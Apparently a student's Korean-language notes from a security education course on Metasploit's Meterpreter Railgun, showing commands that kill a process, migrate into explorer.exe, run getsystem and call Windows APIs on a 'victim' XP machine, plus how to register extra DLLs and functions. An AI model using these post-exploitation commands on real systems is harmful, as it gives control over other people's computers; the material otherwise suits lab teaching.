본문 바로가기

외부 교육 정리/서울여대 정보보호 영재교육원

메타스플로잇- API를 이용하기

목표
1. XP에서 실행시킨 노트패드를  API를 이용해 종료

2. 희생자의 컴퓨터에서 메세지 박스 띄우기


메모장 끄기


notepad  PID : 848


meterpreter> irb
?> client.railgun.kernel32.OpenProcess("PROCESS_TERMINATE",false,848)

return => 2232

>> Phandle=[2232]

>> client.railgun.kernel32.TerminateProcess(2232,0)


하면 PID가 848 인 프로세스가 꺼진다. (여기서는 메모장)


메세지 박스 키기!

메세지 박스를 키는 API 는 MessageBoxA() 이다.

하지만 우선 explorer.exe 로 migrate 해두자. (메세지를 띄우려면  GUI 의 도움을 받아야 하므로)

또한 User32.dll 을 사용한다.


explorer.exe PID : 1040


meterpreter> migrate 1040

meterpreter> getsystem


meterpreter> irb

>> client.railgun.user32.MessageBoxA(0,"Shall We","haha","MB_OK")


하면 메세지 박스가 뜬다.


Window API 를 이용할 때,

우선 해당하는 API 함수를 찾고, (여기서는 MessageBoxA() 를 예를 든다)

해당하는 API함수의 DLL을 찾는다. (MessageBox() 의 DLL은 user32.dll 을 사용한다)

그 후,

client.railgun.[DLL].[함수명]([함수의 인자1],[함수의 인자2]...)

(

client.railgun.user32.MessageBoxA(0,"Shall We","haha","MB_OK")

)


하면 완성



client.railgun.known_dll_names 하면 지금 현재 사용가능한 DLL목록이 나오는데,

만약 여기에 없는 DLL을 사용하고 싶을 경우

client.railgun.add_dll(DLL_NAME,DLL_LOCATION_PATH)

을 사용한다.위


dllexplorer 프로그램

-> 해당하는 DLL에 대한 모든 API 함수를 보여줌.



이렇게 모든 DLL에서 볼 수도 있고,

특정 DLL만 잡아 API 함수를 볼 수도 있다.



위 사진은 WNetGetUser 함수를 찾는 모습. (해당 함수가 어떤 DLL을 사용하는지 모를 때)






이렇게 결과 값이 나옴.



WNetGetUserW 라는 함수가 mpr.dll 을 사용한다는 것을 알았으니,

위에 나왔었던

client.railgun.add_dll(DLL_NAME,DLL_LOCATION_PATH)

을 활용하자.

(mpr.dll 은 기본 지원 DLL에 없으므로)


client.railgun.add_dll("mpr","c:\\windows\\system32\\mpr.dll")

이렇게 하면 DLL이 추가 된다.


# 직접 만든 DLL이 아닌 다른 DLL이 system32경로가 아닌 다른 경로에 있을 경우, 그 DLL 은 바이러스에 쓰이는 DLL일 확률이 높다


DLL 을 추가 했으니 함수를 추가시켜 보자.

client.railgun.add_function("mpr","WGetUserW","DWORD",[["PWCHAR","lpname","in"],["PWCHAR","lpusername","out"],["PDWORD","lplen","inout"]])



이렇게 추가하면 문제점이 하나 있다.

껐다가 다시 키면 다시 추가를 해야하는데,

이를 대비하여 파일 자체를 수정하는 방법이 있다.

/opt/metasploit/msf3/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb

파일 중에서

 BUILTIN_DLLS = [
                'kernel32',
                'ntdll',
                'user32',
                'ws2_32',
                'iphlpapi',
                'advapi32',
                'shell32',
                'netapi32',
                'crypt32',
                'wlanapi',
                'mpr',
        ].freeze


처럼 아래에 mpr 을 추가 해준다.


그 후, 함수도 추가해 주어야 한다.

/opt/metasploit/msf3/lib/rex/post/meterpreter/extensions/stdapi/railgun/def

에서 많은 def_~~ .rb 파일들이 있는데,

여기서 우리가 필요한 것은 mpr 파일 이다. 물론 mpr 파일을 처음부터 만들면 좋겠지만,

우리는 아직 거기까지는 어려우므로

cp def_netapi32.rb def_mpr.rb

으로 netapi32 파일을 복사해준다. 그 후 복사한 def_mpr.rb 파일을 수정해주자.


10번째 줄 class Def_netapi~ 부분을  class Def_mpr 로 바꿈.


12번째 줄

def self.create_dll(dll_path = 'mpr') 로 변경.

이렇게 되어야 함.



그 후 양식에 맞추어 써주면


이렇게 해서 railgun 에 API 함수와 DLL 파일 등록 끝